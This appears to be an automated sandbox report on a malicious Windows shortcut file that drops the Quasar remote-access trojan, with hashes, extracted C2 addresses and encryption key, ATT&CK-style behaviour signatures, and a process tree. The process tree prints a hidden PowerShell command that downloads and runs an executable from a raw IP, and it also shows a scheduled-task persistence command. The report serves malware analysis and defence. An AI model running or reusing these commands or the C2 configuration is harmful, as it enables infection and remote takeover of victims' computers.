Analysis

  • max time kernel
    130s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-11-2024 02:50

General

  • Target

    184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543.lnk

  • Size

    2KB

  • MD5

    4a98c5bbf1a94992ec72858d3327a28e

  • SHA1

    0fa914c44bdcb63d3631d5ec30cebb5047d12c7a

  • SHA256

    184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543

  • SHA512

    e60fb58d1f141d3c2ea99bf39d3b0dd872bebc05efa0cfa630e783f4d90b624084988c66621adc4d7dc6434b1c707d1d6c7c1f36ee2fa2e36fefc47b9a7d6ba7

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

C2

31.13.224.12:61512

31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes
  • encryption_key

    7Vp2dMCHrMjJthQ2Elyy

  • install_name

    downloads.exe

  • log_directory

    Logs

  • reconnect_delay

    5000

  • startup_key

    cssrse.exe

  • subdirectory

    downloadupdates

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ujtjewc.exe');./'ujtjewc.exe';(get-item 'ujtjewc.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5108
      • C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
        "C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
          C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2524
        • C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
          C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of UnmapMainImage
          PID:4952
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 12
            5⤵
            • Program crash
            PID:32
        • C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
          C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3516
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe" /rl HIGHEST /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2696
          • C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
            "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5048
            • C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
              C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
              6⤵
              • Executes dropped EXE
              PID:2660
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 80
                7⤵
                • Program crash
                PID:3660
            • C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
              C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
              6⤵
              • Executes dropped EXE
              PID:3444
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 80
                7⤵
                • Program crash
                PID:1284
            • C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
              C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
              6⤵
              • Executes dropped EXE
              PID:3508
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3508 -s 80
                7⤵
                • Program crash
                PID:4392
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4952 -ip 4952
    1⤵
      PID:748
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2660 -ip 2660
      1⤵
        PID:4660
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3444 -ip 3444
        1⤵
          PID:4884
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3508 -ip 3508
          1⤵
            PID:4424

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ujtjewc.exe.log

            Filesize

            522B

            MD5

            0f39d6b9afc039d81ff31f65cbf76826

            SHA1

            8356d04fe7bba2695d59b6caf5c59f58f3e1a6d8

            SHA256

            ea16b63ffd431ebf658b903710b6b3a9b8a2eb6814eee3a53b707a342780315d

            SHA512

            5bad54adb2e32717ef6275f49e2f101dd7e2011c9be14a32e5c29051e8a3f608cbd0b44ac4855ab21e790cb7a5d84c5f69de087074fd01b35259d34d07f5aaf9

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52131onq.nr2.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe

            Filesize

            774KB

            MD5

            b8fc2efcc33d3160f38fcb6b39319e6a

            SHA1

            a61413a5b6c19b4a388e6c89aaa9304c657b3e08

            SHA256

            3df20b1c9806c327d72824f1b9a4ffcbe702d152fbf11fca42a36c862cbafd0a

            SHA512

            ba4ef7ec5dd7b9ad8ec49ef73315bded8ecc72212b11e3a1384b6d4f3f264867312cda41268a8d1df6fc8c3caa63813c15aa4ff29f0324360a95d59de3456d3b

          • memory/2524-36-0x0000000005780000-0x0000000005D24000-memory.dmp

            Filesize

            5.6MB

          • memory/2524-38-0x0000000005100000-0x0000000005166000-memory.dmp

            Filesize

            408KB

          • memory/2524-29-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/3516-37-0x0000000005770000-0x0000000005802000-memory.dmp

            Filesize

            584KB

          • memory/3516-41-0x0000000006A90000-0x0000000006ACC000-memory.dmp

            Filesize

            240KB

          • memory/3516-40-0x0000000005C60000-0x0000000005C72000-memory.dmp

            Filesize

            72KB

          • memory/4508-28-0x0000000004DB0000-0x0000000004E4C000-memory.dmp

            Filesize

            624KB

          • memory/4508-27-0x0000000007090000-0x000000000717E000-memory.dmp

            Filesize

            952KB

          • memory/4508-26-0x0000000000120000-0x00000000001EA000-memory.dmp

            Filesize

            808KB

          • memory/5108-14-0x00007FF9E8480000-0x00007FF9E8F41000-memory.dmp

            Filesize

            10.8MB

          • memory/5108-2-0x00007FF9E8483000-0x00007FF9E8485000-memory.dmp

            Filesize

            8KB

          • memory/5108-24-0x000001FE73590000-0x000001FE737AC000-memory.dmp

            Filesize

            2.1MB

          • memory/5108-25-0x00007FF9E8480000-0x00007FF9E8F41000-memory.dmp

            Filesize

            10.8MB

          • memory/5108-12-0x000001FE5B370000-0x000001FE5B392000-memory.dmp

            Filesize

            136KB

          • memory/5108-13-0x00007FF9E8480000-0x00007FF9E8F41000-memory.dmp

            Filesize

            10.8MB